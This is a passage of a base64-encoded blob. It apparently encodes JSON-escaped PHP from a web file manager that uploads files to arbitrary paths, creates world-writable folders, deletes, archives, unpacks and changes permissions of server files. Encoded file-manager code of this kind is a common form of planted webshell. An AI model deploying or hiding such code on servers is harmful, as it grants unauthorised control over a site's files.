FBIUF9TRVNTSU9OX0FDVElWRSkge1xuICAgICAgICAgICAgc2Vzc2lvbl93cml0ZV9jbG9zZSgpO1xuICAgICAgICB9XG5cbiAgICAgICAgZm1fZG93bmxvYWRfZmlsZSgkcGF0aCAuICdcLycgLiAkZGwsICRkbCwgMTAyNCk7XG4gICAgICAgIGV4aXQ7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG59XG5cbmlmICghZW1wdHkoJF9GSUxFUykgJiYgIUZNX1JFQURPTkxZKSB7XG4gICAgaWYgKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHtcbiAgICAgICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3RhdHVzJyA9PiAnZXJyb3InLCAnaW5mbycgPT4gXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTtcbiAgICAgICAgICAgIGV4aXQoKTtcbiAgICAgICAgfVxuICAgIH0gZWxzZSB7XG4gICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdGF0dXMnID0+ICdlcnJvcicsICdpbmZvJyA9PiBcIlRva2VuIE1pc3NpbmcuXCIpO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107XG4gICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107XG4gICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7XG5cbiAgICAkZiA9ICRfRklMRVM7XG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkdXBsb2FkcyA9IDA7XG4gICAgJGFsbG93ZWQgPSAoRk1fVVBMT0FEX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fVVBMT0FEX0VYVEVOU0lPTikgOiBmYWxzZTtcbiAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJyxcbiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbidcbiAgICApO1xuXG4gICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddO1xuICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107XG4gICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7XG4gICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTtcblxuICAgIGlmICghZm1faXN2YWxpZF9maWxlbmFtZSgkZmlsZW5hbWUpICYmICFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmdWxsUGF0aElucHV0KSkge1xuICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkludmFsaWQgRmlsZSBuYW1lIVwiLFxuICAgICAgICApO1xuICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgICAgIGV4aXQoKTtcbiAgICB9XG5cbiAgICAkdGFyZ2V0UGF0aCA9ICRwYXRoIC4gJGRzO1xuICAgIGlmIChpc193cml0YWJsZSgkdGFyZ2V0UGF0aCkpIHtcbiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnXC8nIC4gJGZ1bGxQYXRoSW5wdXQ7XG4gICAgICAgICRmb2xkZXIgPSBzdWJzdHIoJGZ1bGxQYXRoLCAwLCBzdHJycG9zKCRmdWxsUGF0aCwgXCJcL1wiKSk7XG5cbiAgICAgICAgaWYgKCFpc19kaXIoJGZvbGRlcikpIHtcbiAgICAgICAgICAgICRvbGQgPSB1bWFzaygwKTtcbiAgICAgICAgICAgIG1rZGlyKCRmb2xkZXIsIDA3NzcsIHRydWUpO1xuICAgICAgICAgICAgdW1hc2soJG9sZCk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoZW1wdHkoJGZbJ2ZpbGUnXVsnZXJyb3InXSkgJiYgIWVtcHR5KCR0bXBfbmFtZSkgJiYgJHRtcF9uYW1lICE9ICdub25lJyAmJiAkaXNGaWxlQWxsb3dlZCkge1xuICAgICAgICAgICAgaWYgKCRjaHVua1RvdGFsKSB7XG4gICAgICAgICAgICAgICAgJG91dCA9IEBmb3BlbihcInskZnVsbFBhdGh9LnBhcnRcIiwgJGNodW5rSW5kZXggPT0gMCA/IFwid2JcIiA6IFwiYWJcIik7XG4gICAgICAgICAgICAgICAgaWYgKCRvdXQpIHtcbiAgICAgICAgICAgICAgICAgICAgJGluID0gQGZvcGVuKCR0bXBfbmFtZSwgXCJyYlwiKTtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCRpbikge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKFBIUF9WRVJTSU9OX0lEIDwgODAwMDkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBkbyB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvciAoOzspIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRidWZmID0gZnJlYWQoJGluLCA0MDk2KTtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkYnVmZiA9PT0gZmFsc2UgfHwgJGJ1ZmYgPT09ICcnKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmd3JpdGUoJG91dCwgJGJ1ZmYpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSB3aGlsZSAoIWZlb2YoJGluKSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN0cmVhbV9jb3B5X3RvX3N0cmVhbSgkaW4sICRvdXQpO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiBcImZpbGUgdXBsb2FkIHN1Y2Nlc3NmdWxcIlxuICAgICAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+IFwiZmFpbGVkIHRvIG9wZW4gb3V0cHV0IHN0cmVhbVwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KClcbiAgICAgICAgICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59X